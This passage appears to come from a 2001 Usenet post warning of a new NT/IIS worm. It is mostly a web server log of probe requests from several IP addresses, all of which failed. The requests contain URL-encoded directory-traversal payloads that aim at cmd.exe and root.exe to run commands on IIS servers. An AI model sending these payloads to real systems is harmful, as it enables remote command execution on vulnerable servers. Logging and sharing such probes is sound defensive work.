/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.204.30.77 - - [18/Sep/2001:10:14:06 -0400] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.204.30.77 - - [18/Sep/2001:10:14:11 -0400] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.204.30.77 - - [18/Sep/2001:10:14:11 -0400] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.204.30.77 - - [18/Sep/2001:10:14:11 -0400] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 343
206.204.30.77 - - [18/Sep/2001:10:14:12 -0400] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.204.30.77 - - [18/Sep/2001:10:14:16 -0400] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.204.30.77 - - [18/Sep/2001:10:14:16 -0400] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.204.30.77 - - [18/Sep/2001:10:14:16 -0400] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.204.30.77 - - [18/Sep/2001:10:14:16 -0400] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
206.204.30.77 - - [18/Sep/2001:10:14:20 -0400] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
206.204.30.77 - - [18/Sep/2001:10:14:20 -0400] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.204.30.77 - - [18/Sep/2001:10:14:20 -0400] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.187.42.81 - - [18/Sep/2001:10:14:56 -0400] "GET /scripts/root.exe?/c+dir
HTTP/1.0" 404 288
206.187.42.81 - - [18/Sep/2001:10:14:56 -0400] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 286
206.187.42.81 - - [18/Sep/2001:10:14:57 -0400] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.187.42.81 - - [18/Sep/2001:10:14:57 -0400] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.187.42.81 - - [18/Sep/2001:10:14:57 -0400] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.187.42.81 - - [18/Sep/2001:10:14:58 -0400] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.187.42.81 - - [18/Sep/2001:10:14:58 -0400] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.187.42.81 - - [18/Sep/2001:10:14:58 -0400] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 343
206.187.42.81 - - [18/Sep/2001:10:14:59 -0400] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.187.42.81 - - [18/Sep/2001:10:14:59 -0400] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.187.42.81 - - [18/Sep/2001:10:15:00 -0400] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.187.42.81 - - [18/Sep/2001:10:15:00 -0400] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.187.42.81 - - [18/Sep/2001:10:15:00 -0400] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
206.187.42.81 - - [18/Sep/2001:10:15:01 -0400] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
206.187.42.81 - - [18/Sep/2001:10:15:01 -0400] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.187.42.81 - - [18/Sep/2001:10:15:01 -0400] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.222.99 - - [18/Sep/2001:10:18:00 -0400] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 288
206.191.222.99 - - [18/Sep/2001:10:18:01 -0400] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 286
206.191.222.99 - - [18/Sep/2001:10:18:01 -0400] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.191.222.99 - - [18/Sep/2001:10:18:04 -0400] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.191.222.99 - - [18/Sep/2001:10:18:04 -0400] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.222.99 - - [18/Sep/2001:10:18:05 -0400] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.191.222.99 - - [18/Sep/2001:10:18:05 -0400] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.191.222.99 - - [18/Sep/2001:10:18:05 -0400] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 343
206.191.222.99 - - [18/Sep/2001:10:18:06 -0400] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.222.99 - - [18/Sep/2001:10:18:07 -0400] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.222.99 - - [18/Sep/2001:10:18:09 -0400] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.222.99 - - [18/Sep/2001:10:18:21 -0400] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.222.99 - - [18/Sep/2001:10:18:21 -0400] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
206.191.222.99 - - [18/Sep/2001:10:18:21 -0400] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
206.191.222.99 - - [18/Sep/2001:10:18:23 -0400] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.222.99 - - [18/Sep/2001:10:18:24 -0400] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.138.147 - - [18/Sep/2001:10:21:32 -0400] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 288
206.191.138.147 - - [18/Sep/2001:10:21:35 -0400] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 286
206.191.138.147 - - [18/Sep/2001:10:21:43 -0400] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.191.138.147 - - [18/Sep/2001:10:21:46 -0400] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.191.138.147 - - [18/Sep/2001:10:21:51 -0400] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.21.203 - - [18/Sep/2001:10:25:28 -0400] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 288
206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 286
206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 327
206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 343
206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
Technical Details
Message-ID: <JTJp7.72972$j65.13614897@news4.rdc1.on.home.com>
Path: arc1-ca.pugleaf.net!archiver1.google.com!newsfeed.google.com!sn-xit-02!sn-xit-01!supernews.com!newshub2.rdc1.sfba.home.com!news.home.com!news4.rdc1.on.home.com.POSTED!not-for-mail

Show Full Headers
Complete Article Headers
X-Google-Language: GERMAN,ASCII-7-bit
X-Google-Thread: 105a5a,7ed32daa0eaa63f,start
X-Google-Attributes: gid105a5a,public
X-Google-Thread: 10aaae,7ed32daa0eaa63f,start
X-Google-Attributes: gid10aaae,public
X-Google-ArrivalTime: 2001-09-18 08:38:18 PST
Path: arc1-ca.pugleaf.net!archiver1.google.com!newsfeed.google.com!sn-xit-02!sn-xit-01!supernews.com!newshub2.rdc1.sfba.home.com!news.home.com!news4.rdc1.on.home.com.POSTED!not-for-mail
From: "Darrell Larose" <cota348!@NOThome.com>
Newsgroups: ott.online,can.infohighway
Subject: new NT/IIS worm... 
Lines: 562
X-Priority: 3
X-MSMail-Priority: Normal
X-Newsreader: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Message-ID: <JTJp7.72972$j65.13614897@news4.rdc1.on.home.com>
Date: Tue, 18 Sep 2001 15:38:17 GMT
NNTP-Posting-Host: 24.43.156.104
X-Complaints-To: abuse@home.net
X-Trace: news4.rdc1.on.home.com 1000827497 24.43.156.104 (Tue, 18 Sep 2001 08:38:17 PDT)
NNTP-Posting-Date: Tue, 18 Sep 2001 08:38:17 PDT
Organization: Excite@Home - The Leader in Broadband http://home.com/faster